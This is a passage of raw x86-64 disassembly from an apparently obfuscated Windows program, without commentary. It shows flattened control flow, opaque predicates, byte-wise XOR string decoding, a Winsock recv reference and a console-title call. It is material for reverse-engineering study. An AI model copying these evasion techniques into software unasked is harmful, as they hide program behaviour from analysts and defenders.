jne 0x140033a80
jmp 0x140033ae7
cmp ecx, 0xbbb0bd52
je 0x140033ae2
cmp ecx, 0xc1647419
jne 0x140033a80
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140033a80
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140033a80
mov ecx, 0x38980679
jmp 0x140033a80
mov ecx, r10d
jmp 0x140033a80
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x13
mov byte [r8 + 3], cl
movzx ecx, byte [rax + 9]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x140033b80
cmp ecx, 0xe597bc97
je 0x140033b9d
cmp ecx, 0xfa42bebb
je 0x140033bab
cmp ecx, 0x38980679
jne 0x140033b50
jmp 0x140033bb7
cmp ecx, 0xbbb0bd52
je 0x140033bb2
cmp ecx, 0xc1647419
jne 0x140033b50
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140033b50
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140033b50
mov ecx, 0x38980679
jmp 0x140033b50
mov ecx, r10d
jmp 0x140033b50
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x14
mov byte [r8 + 4], cl
movzx ecx, byte [rax + 0xa]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140033c10
cmp ecx, 0xe597bc97
je 0x140033c2d
cmp ecx, 0xfa42bebb
je 0x140033c3b
cmp ecx, 0x38980679
jne 0x140033be0
jmp 0x140033c47
cmp ecx, 0xbbb0bd52
je 0x140033c42
cmp ecx, 0xc1647419
jne 0x140033be0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140033be0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140033be0
mov ecx, 0x38980679
jmp 0x140033be0
mov ecx, r10d
jmp 0x140033be0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x15
mov byte [r8 + 5], cl
movzx ecx, byte [rax + 0xb]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140033ca0
cmp ecx, 0xe597bc97
je 0x140033cbd
cmp ecx, 0xfa42bebb
je 0x140033ccb
cmp ecx, 0x38980679
jne 0x140033c70
jmp 0x140033cd7
cmp ecx, 0xbbb0bd52
je 0x140033cd2
cmp ecx, 0xc1647419
jne 0x140033c70
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140033c70
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140033c70
mov ecx, 0x38980679
jmp 0x140033c70
mov ecx, r10d
jmp 0x140033c70
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x16
mov byte [r8 + 6], cl
movzx ecx, byte [rax + 0xc]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140033d30
cmp ecx, 0xe597bc97
je 0x140033d4d
cmp ecx, 0xfa42bebb
je 0x140033d5b
cmp ecx, 0x38980679
jne 0x140033d00
jmp 0x140033d67
cmp ecx, 0xbbb0bd52
je 0x140033d62
cmp ecx, 0xc1647419
jne 0x140033d00
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140033d00
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140033d00
mov ecx, 0x38980679
jmp 0x140033d00
mov ecx, r10d
jmp 0x140033d00
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x17
mov byte [r8 + 7], cl
movzx ecx, byte [rax + 0xd]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140033dc0
cmp ecx, 0xe597bc97
je 0x140033ddd
cmp ecx, 0xfa42bebb
je 0x140033deb
cmp ecx, 0x38980679
jne 0x140033d90
jmp 0x140033df7
cmp ecx, 0xbbb0bd52
je 0x140033df2
cmp ecx, 0xc1647419
jne 0x140033d90
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140033d90
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140033d90
mov ecx, 0x38980679
jmp 0x140033d90
mov ecx, r10d
jmp 0x140033d90
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x18
mov byte [r8 + 8], cl
movzx ecx, byte [rax + 0xe]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140033e50
cmp ecx, 0xe597bc97
je 0x140033e6d
cmp ecx, 0xfa42bebb
je 0x140033e7b
cmp ecx, 0x38980679
jne 0x140033e20
jmp 0x140033e87
cmp ecx, 0xbbb0bd52
je 0x140033e82
cmp ecx, 0xc1647419
jne 0x140033e20
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140033e20
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140033e20
mov ecx, 0x38980679
jmp 0x140033e20
mov ecx, r10d
jmp 0x140033e20
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x19
mov byte [r8 + 9], cl
movzx ecx, byte [rax + 0xf]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140033ee0
cmp ecx, 0xe597bc97
je 0x140033efd
cmp ecx, 0xfa42bebb
je 0x140033f0b
cmp ecx, 0x38980679
jne 0x140033eb0
jmp 0x140033f17
cmp ecx, 0xbbb0bd52
je 0x140033f12
cmp ecx, 0xc1647419
jne 0x140033eb0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140033eb0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140033eb0
mov ecx, 0x38980679
jmp 0x140033eb0
mov ecx, r10d
jmp 0x140033eb0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1a
mov byte [r8 + 0xa], cl
movzx ecx, byte [rax + 0x10]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140033f70
cmp ecx, 0xe597bc97
je 0x140033f8d
cmp ecx, 0xfa42bebb
je 0x140033f9b
cmp ecx, 0x38980679
jne 0x140033f40
jmp 0x140033fa7
cmp ecx, 0xbbb0bd52
je 0x140033fa2
cmp ecx, 0xc1647419
jne 0x140033f40
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140033f40
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140033f40
mov ecx, 0x38980679
jmp 0x140033f40
mov ecx, r10d
jmp 0x140033f40
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1b
mov byte [r8 + 0xb], cl
movzx ecx, byte [rax + 0x11]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140034000
cmp ecx, 0xe597bc97
je 0x14003401d
cmp ecx, 0xfa42bebb
je 0x14003402b
cmp ecx, 0x38980679
jne 0x140033fd0
jmp 0x140034037
cmp ecx, 0xbbb0bd52
je 0x140034032
cmp ecx, 0xc1647419
jne 0x140033fd0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140033fd0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140033fd0
mov ecx, 0x38980679
jmp 0x140033fd0
mov ecx, r10d
jmp 0x140033fd0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1c
mov byte [r8 + 0xc], cl
movzx ecx, byte [rax + 0x12]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140034090
cmp ecx, 0xe597bc97
je 0x1400340ad
cmp ecx, 0xfa42bebb
je 0x1400340bb
cmp ecx, 0x38980679
jne 0x140034060
jmp 0x1400340c7
cmp ecx, 0xbbb0bd52
je 0x1400340c2
cmp ecx, 0xc1647419
jne 0x140034060
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140034060
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140034060
mov ecx, 0x38980679
jmp 0x140034060
mov ecx, r10d
jmp 0x140034060
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1d
mov byte [r8 + 0xd], cl
movzx ecx, byte [rax + 0x13]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140034120
cmp ecx, 0xe597bc97
je 0x14003413d
cmp ecx, 0xbbb0bd52
je 0x140034152
movzx eax, byte [rax + 0x16]
mov byte [rbp + 0x1cc], al
mov eax, dword [0x1402b5e18]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
cmp dword [0x1402b5e1c], 0xa
setge cl
mov r8d, ecx
xor r8b, al
or cl, al
xor cl, 1
or cl, r8b
mov eax, 0xe597bc97
cmovne eax, ebx
mov r8d, 0xe597bc97
cmovne r8d, r12d
mov ecx, 0xbbb0bd52
nop word [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140034300
cmp ecx, 0xe597bc97
je 0x14003431c
cmp ecx, 0xfa42bebb
je 0x14003432a
cmp ecx, 0x38980679
jne 0x1400342d0
jmp 0x140034336
cmp ecx, 0xbbb0bd52
je 0x140034331
cmp ecx, 0xc1647419
jne 0x1400342d0
movsx r9, byte [rbp + 0x1cc]
mov ecx, eax
jmp 0x1400342d0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x1400342d0
mov ecx, 0x38980679
jmp 0x1400342d0
mov ecx, r8d
jmp 0x1400342d0
mov qword [rbp + 0x1c0], r9
mov rax, qword [rbp + 0x1c0]
xor al, 0x21
mov rcx, qword [rbp + 0x190]
mov byte [rcx], al
mov rax, qword [rbp + 0x190]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x198]
mov byte [rax + 0x18], 1
mov rax, qword [rbp + 0x198]
mov eax, 0xe971b5c6
jmp 0x140032160
cmp eax, 0x77df2da
jne 0x140032160
mov rax, qword [rbp + 0x138]
mov eax, 0x1c6bed9b
mov rsp, rdx
jmp 0x14002fcf0
cmp eax, 0x24f9b0f1
je 0x140034436
cmp eax, 0x709d70bc
jne 0x14002fcf0
mov eax, dword [0x1402b5e20]
mov ecx, dword [0x1402b5e24]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r8d, 0x9c17fc93
mov r9d, 0x1c6bed9b
cmovne r8d, r9d
test eax, edx
mov eax, r8d
cmove eax, r9d
cmp ecx, 0xa
cmovge eax, r8d
jmp 0x14002fcf0
cmp eax, 0xb8512acd
jne 0x140034478
mov eax, 0x24f9b0f1
jmp 0x14002fcf0
mov eax, dword [0x1402b5e20]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xb8512acd
mov r8d, 0x24f9b0f1
jmp 0x140034457
mov eax, dword [0x1402b5e20]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xb8512acd
mov r8d, 0xcb5e87a6
cmove eax, r8d
cmp dword [0x1402b5e24], 0xa
mov edx, 0xb8512acd
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, r8d
jmp 0x14002fcf0
cmp eax, 0xa979251f
jne 0x14002fcf0
mov rsp, qword [rbp + 0xf8]
sub rsp, 0x20
lea rcx, [rbp + 0x1a0]
lea rdi, [rbp - 0x78]
mov rdx, rdi
call fcn.1400b3950
lea rcx, [0x1402b6a20]
mov rdx, rdi
call fcn.1400b34d0
lea rcx, [rbp + 0xe0]
lea rdx, [rbp + 0x148]
call fcn.1400b3ba0
add rsp, 0x20
mov qword [rbp + 0xf8], rsp
mov eax, dword [0x1402b5e28]
mov edx, dword [0x1402b5e2c]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete byte [rbp + 0x107]
cmp edx, 0xa
setl byte [rbp + 0xf7]
mov eax, 0xf10af89c
jmp 0x140034510
mov eax, 0xe817b6ec
nop word [rax + rax]
cmp eax, 0x26a6955c
jg 0x1400345a0
cmp eax, 0xf10af89b
jle 0x140034650
cmp eax, 0xfcb6c36
jg 0x1400346af
cmp eax, 0xf10af89c
je 0x140034dc8
cmp eax, 0xf28b295a
je 0x140034c6d
cmp eax, 0xfbfddfe2
jne 0x140034510
mov eax, dword [0x1402b5e28]
mov ecx, dword [0x1402b5e2c]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r8d, 0x2e6946ff
mov r9d, 0xe817b6ec
cmovne r8d, r9d
test eax, edx
mov eax, r8d
cmove eax, r9d
cmp ecx, 0xa
cmovge eax, r8d
jmp 0x140034510
cmp eax, 0x373bdda6
jg 0x140034610
cmp eax, 0x2c074592
jle 0x140034708
cmp eax, 0x2c074593
je 0x140034c99
cmp eax, 0x2e6946ff
je 0x140034505
cmp eax, 0x2e87f766
jne 0x140034510
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x128], rax
mov eax, dword [0x1402b5e28]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x2b91bd58
mov r8d, 0x3da12f50
jmp 0x1400346e7
cmp eax, 0x455de9b7
jle 0x14003472f
cmp eax, 0x455de9b8
je 0x140034cdb
cmp eax, 0x5140c74a
je 0x140034c20
cmp eax, 0x5e408a19
jne 0x140034510
mov rax, qword [rbp + 0x138]
mov eax, 0x2c074593
jmp 0x140034510
cmp eax, 0x9a293046
jle 0x14003474f
cmp eax, 0x9a293047
je 0x140034d51
cmp eax, 0xa02c743d
je 0x140034c2a
cmp eax, 0xe817b6ec
jne 0x140034510
mov eax, dword [0x1402b5e28]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x2e6946ff
mov r8d, 0x209386fd
cmove eax, r8d
cmp dword [0x1402b5e2c], 0xa
mov edx, 0x2e6946ff
jmp 0x1400346f7
cmp eax, 0xfcb6c37
je 0x140034d69
cmp eax, 0x2161b090
jne 0x140034dfe
mov eax, dword [0x1402b5e28]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x2b91bd58
mov r8d, 0x2e87f766
cmove eax, r8d
cmp dword [0x1402b5e2c], 0xa
mov edx, 0x2b91bd58
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, r8d
jmp 0x140034510
cmp eax, 0x26a6955d
je 0x140034c85
cmp eax, 0x2b91bd58
jne 0x140034510
mov rax, qword [rbp + 0x188]
mov eax, 0x2e87f766
jmp 0x140034510
cmp eax, 0x373bdda7
je 0x140034c8f
cmp eax, 0x3da12f50
jne 0x140034510
mov eax, 0x9a293047
jmp 0x140034510
cmp eax, 0x8a9474b3
je 0x140034d47
cmp eax, 0x8d1e2215
jne 0x140034510
mov rax, qword [rbp + 0x188]
mov rdx, qword [rbp + 0x198]
mov r9d, 0x899e8b5f
jmp 0x140034790
mov r9d, 0x87c01140
nop word cs:[rax + rax]
cmp r9d, 0x6f58a68
jle 0x140034820
cmp r9d, 0x61b2e28d
jg 0x140034910
cmp r9d, 0x36b0fb7c
jg 0x140034956
cmp r9d, 0x6f58a69
je 0x140034bf7
cmp r9d, 0x21a1680e
je 0x140034aa6
cmp r9d, 0x32147593
jne 0x140034790
mov ecx, dword [0x1402b5e30]
mov r10d, dword [0x1402b5e34]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp r10d, 0xa
setl r11b
xor r11b, cl
mov ecx, 0xcc7c0d6f
mov r11d, 0x42f1da3c
jmp 0x140034bbb
cmp r9d, 0xdc84a7e3
jg 0x140034870
cmp r9d, 0xac209fc4
jle 0x1400349cf
cmp r9d, 0xac209fc5
je 0x140034b10
cmp r9d, 0xb0fbe9de
je 0x140034a80
cmp r9d, 0xcc7c0d6f
jne 0x140034790
mov r9d, 0x32147593
jmp 0x140034790
cmp r9d, 0xe770601b
jle 0x1400349f4
cmp r9d, 0xe770601c
je 0x140034b2d
cmp r9d, 0xf55d0b11
je 0x14003477b
cmp r9d, 0x1f03251
jne 0x140034790
mov r9d, dword [0x1402b5e30]
mov r10d, dword [0x1402b5e34]
lea r11d, [r9 + 1]
imul r11d, r9d
mov r9d, r11d
xor r9d, 0xfffffffe
test r9d, r11d
sete dil
cmp r10d, 0xa
setl cl
xor cl, dil
mov ecx, 0x21a1680e
mov edi, 0xf55d0b11
cmovne ecx, edi
test r9d, r11d
mov r9d, ecx
cmove r9d, edi
cmp r10d, 0xa
mov qword [rbp + 0x1a0], rdx
mov dword [rbp + 0x1cc], r8d
cmovge r9d, ecx
jmp 0x140034790
cmp r9d, 0x6b0cb916
jle 0x140034a19
cmp r9d, 0x6b0cb917
je 0x140034bd7
cmp r9d, 0x73c3298d
je 0x140034a9b
cmp r9d, 0x74da6c2a
jne 0x140034790
mov dword [rbp + 0xf0], r8d
mov r9d, 0xac209fc5
jmp 0x140034790
cmp r9d, 0x36b0fb7d
je 0x140034be2
cmp r9d, 0x54e53036
jne 0x140034c09
mov ecx, dword [0x1402b5e30]
mov r10d, dword [0x1402b5e34]
lea r9d, [rcx - 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp r10d, 0xa
setl r11b
xor r11b, cl
mov ecx, 0x6b0cb917
mov r11d, 0xdc84a7e4
cmovne ecx, r11d
cmp r9d, 0xffffffff
mov r9d, ecx
cmove r9d, r11d
cmp r10d, 0xa
cmovge r9d, ecx
lea ecx, [r8 + 1]
mov dword [rbp + 0x140], ecx
jmp 0x140034790
cmp r9d, 0x87c01140
je 0x140034ab1
cmp r9d, 0x899e8b5f
jne 0x140034790
mov r9d, 0x36b0fb7d
jmp 0x140034790
cmp r9d, 0xdc84a7e4
je 0x140034b05
cmp r9d, 0xded928ca
jne 0x140034790
mov r9d, 0x61b2e28e
jmp 0x140034790
cmp r9d, 0x61b2e28e
je 0x140034b82
cmp r9d, 0x628949d9
jne 0x140034790
mov ecx, dword [0x1402b5e30]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
mov r9d, 0x6b0cb917
mov r11d, 0x54e53036
cmove r9d, r11d
cmp dword [0x1402b5e34], 0xa
mov r10d, 0x6b0cb917
cmovge r9d, r10d
setl r10b
xor r10b, cl
cmovne r9d, r11d
jmp 0x140034790
cmp byte [rbp + 0x127], 0
mov r9d, 0x73c3298d
mov ecx, 0xe770601c
cmovne r9d, ecx
jmp 0x140034790
mov r9d, 0xded928ca
jmp 0x140034790
mov r9d, 0x1f03251
jmp 0x140034790
movsxd rcx, dword [rbp + 0x1cc]
mov r9, qword [rbp + 0x1a0]
movsxd r10, r8d
imul r11, r10, 0xffffffff92492493
shr r11, 0x20
add r11d, r8d
mov edi, r11d
shr edi, 0x1f
shr r11d, 5
add r11d, edi
imul r11d, r11d, 0x38
mov edi, r8d
sub edi, r11d
add dil, 0x31
xor dil, byte [r9 + rcx]
mov rcx, qword [rbp + 0x1c0]
mov byte [rcx + r10], dil
mov r9d, 0x628949d9
jmp 0x140034790
mov r9d, 0x6f58a69
jmp 0x140034790
mov r9d, dword [rbp + 0xf0]
cmp r9d, 0x39
setl byte [rbp + 0x127]
mov r9d, 0xb0fbe9de
jmp 0x140034790
mov r9d, dword [0x1402b5e30]
mov r10d, dword [0x1402b5e34]
lea r11d, [r9 + 1]
imul r11d, r9d
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete r9b
cmp r10d, 0xa
setl dil
xor dil, r9b
mov edi, 0x21a1680e
mov ecx, 0x1f03251
cmovne edi, ecx
cmp r11d, 0xffffffff
mov r9d, edi
cmove r9d, ecx
cmp r10d, 0xa
cmovge r9d, edi
jmp 0x140034790
mov ecx, dword [0x1402b5e30]
mov r10d, dword [0x1402b5e34]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp r10d, 0xa
setl r11b
xor r11b, cl
mov ecx, 0xcc7c0d6f
mov r11d, 0x32147593
cmovne ecx, r11d
cmp r9d, 0xffffffff
mov r9d, ecx
cmove r9d, r11d
cmp r10d, 0xa
cmovge r9d, ecx
jmp 0x140034790
mov r9d, 0x54e53036
jmp 0x140034790
mov qword [rbp + 0x1c0], rax
mov r9d, 0x74da6c2a
xor r8d, r8d
jmp 0x140034790
mov r9d, 0x74da6c2a
mov r8d, dword [rbp + 0x140]
jmp 0x140034790
cmp r9d, 0x42f1da3c
jne 0x140034790
mov eax, 0x2161b090
jmp 0x140034510
mov eax, 0x8d1e2215
jmp 0x140034510
mov eax, dword [0x1402b5e28]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0x5e408a19
mov ecx, 0x2c074593
cmove eax, ecx
cmp dword [0x1402b5e2c], 0xa
mov r8d, 0x5e408a19
cmovge eax, r8d
setl r8b
xor r8b, dl
cmovne eax, ecx
jmp 0x140034510
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x138], rax
mov eax, 0xa02c743d
jmp 0x140034510
mov eax, 0x455de9b8
jmp 0x140034510
mov eax, 0xfcb6c37
jmp 0x140034510
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0x198], rax
mov eax, dword [0x1402b5e28]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0x5e408a19
mov r9d, 0x5140c74a
cmove eax, r9d
cmp dword [0x1402b5e2c], 0xa
mov ecx, 0x5e408a19
jmp 0x140034d34
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
lea rcx, [rbp + 0x148]
mov qword [rax], rcx
mov eax, dword [0x1402b5e28]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0x26a6955d
mov r9d, 0x8a9474b3
cmove eax, r9d
cmp dword [0x1402b5e2c], 0xa
mov ecx, 0x26a6955d
cmovge eax, ecx
setl r8b
xor r8b, dl
cmovne eax, r9d
jmp 0x140034510
mov eax, 0x373bdda7
jmp 0x140034510
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0x190], rax
mov eax, 0xfbfddfe2
jmp 0x140034510
mov rax, qword [rbp + 0x130]
mov rax, qword [rax]
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x188]
movzx eax, byte [rax + 0x38]
mov edx, 0xace9ee9f
nop word [rax + rax]
cmp edx, 0xace9ee9f
je 0x140034da2
cmp edx, 0xa822bd5c
jne 0x140034d90
jmp 0x140034da9
mov edx, 0xa822bd5c
jmp 0x140034d90
mov byte [rbp + 0x1a0], al
cmp byte [rbp + 0x1a0], 0
mov eax, 0xf28b295a
mov ecx, 0x2161b090
cmove eax, ecx
jmp 0x140034510
movzx edx, byte [rbp + 0x107]
movzx eax, byte [rbp + 0xf7]
mov r8d, edx
xor r8b, al
mov r8d, 0x26a6955d
mov ecx, 0x455de9b8
cmovne r8d, ecx
test al, al
mov eax, r8d
cmovne eax, ecx
test dl, dl
cmove eax, r8d
jmp 0x140034510
cmp eax, 0x209386fd
jne 0x140034510
mov rdx, qword [rbp + 0x190]
mov rsp, qword [rbp + 0xf8]
sub rsp, 0x20
lea rcx, [rbp + 0x1d0]
call fcn.1400015d0
add rsp, 0x20
jmp 0x14002a8a0
mov eax, 0x5c3dfb50
lea rdi, [0x1402b5760]
lea rsi, [0x1402b5750]
nop word cs:[rax + rax]
cmp eax, 0xc2a6a70a
je 0x140034ee1
cmp eax, 0x5c3dfb50
jne 0x140034e50
mov eax, 0x3b1aaaf7
nop word [rax + rax]
cmp eax, 0x3b1aaaf7
je 0x140034e80
cmp eax, 0x77c2b5a6
jne 0x140034e70
jmp 0x140034e87
mov eax, 0x77c2b5a6
jmp 0x140034e70
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x1c0], rdi
mov rax, qword [rbp + 0x1c0]
mov rbx, qword [rax]
sub rsp, 0x20
mov rcx, rsi
call fcn.1400d2e30
add rsp, 0x20
mov rcx, qword [rbp + 0x190]
sub rsp, 0x20
mov rdx, rax
mov r8, rbx
call fcn.1400ed560
add rsp, 0x20
mov qword [rbp + 0x128], rax
mov eax, 0xc2a6a70a
jmp 0x140034e50
mov rdx, qword [rbp + 0x128]
sub rsp, 0x20
lea rcx, [rbp - 0x38]
call fcn.1400ed3f0
add rsp, 0x20
mov eax, 0x8e514f33
mov esi, 0x559d78c6
mov edi, 0xa1dae94d
jmp 0x140034f10
mov eax, 0xe9738f9d
nop
cmp eax, 0xe9738f9d
je 0x140035085
cmp eax, 0x8e514f33
jne 0x140034f10
sub rsp, 0x20
lea rcx, [rbp + 0x1d0]
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x190]
cmp ecx, 0xa
setl byte [rbp + 0x1c0]
mov eax, 0xc7dc8da9
nop word cs:[rax + rax]
cmp eax, 0x354e3b8b
jg 0x140034fc0
cmp eax, 0xa1dae94d
je 0x140035007
cmp eax, 0xb5ee369a
je 0x140035028
cmp eax, 0xc7dc8da9
jne 0x140034f70
movzx ecx, byte [rbp + 0x190]
movzx eax, byte [rbp + 0x1c0]
mov edx, ecx
xor dl, al
mov edx, 0xb5ee369a
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, esi
test cl, cl
cmove eax, edx
jmp 0x140034f70
cmp eax, 0x354e3b8c
je 0x140034f0a
cmp eax, 0x559d78c6
je 0x140035032
cmp eax, 0x66202512
jne 0x140034f70
mov eax, 0x51eaacfe
mov rcx, qword [rbp + 0x1a0]
nop word cs:[rax + rax]
cmp eax, 0x51eaacfe
je 0x140035000
cmp eax, 0x89bfb55a
jne 0x140034ff0
jmp 0x140035011
mov eax, 0x89bfb55a
jmp 0x140034ff0
mov eax, 0x66202512
jmp 0x140034f70
sub rsp, 0x20
call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
jmp 0x140034f70
mov eax, 0x559d78c6
jmp 0x140034f70
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r8d, 0xb5ee369a
cmovne r8d, edi
test eax, edx
mov eax, r8d
cmove eax, edi
cmp ecx, 0xa
lea rcx, [rbp + 0x1d0]
mov qword [rbp + 0x1a0], rcx
cmovge eax, r8d
jmp 0x140034f70
sub rsp, 0x20
lea rcx, [rbp - 0x38]
call fcn.14000cf50
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
add rsp, 0x20
mov ecx, dword [0x1402b5e08]
lea eax, [rcx + 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x1402b5e0c], 0xa
setge cl
setl r8b
xor r8b, dl
jne 0x1400350d2
or cl, al
test cl, 1
je 0x1400350d2
nop word [rax + rax]
jmp 0x1400350d0
sub rsp, 0x20
mov ecx, 0x64
mov edx, 0xa
call fcn.140001890
add rsp, 0x20
mov eax, dword [0x1402b5e08]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete dl
setne al
cmp dword [0x1402b5e0c], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x140035122
or cl, al
je 0x140035122
nop dword [rax]
jmp 0x140035120
sub rsp, 0x20
mov ecx, 0xa
call fcn.140003cb0
add rsp, 0x20
sub rsp, 0x20
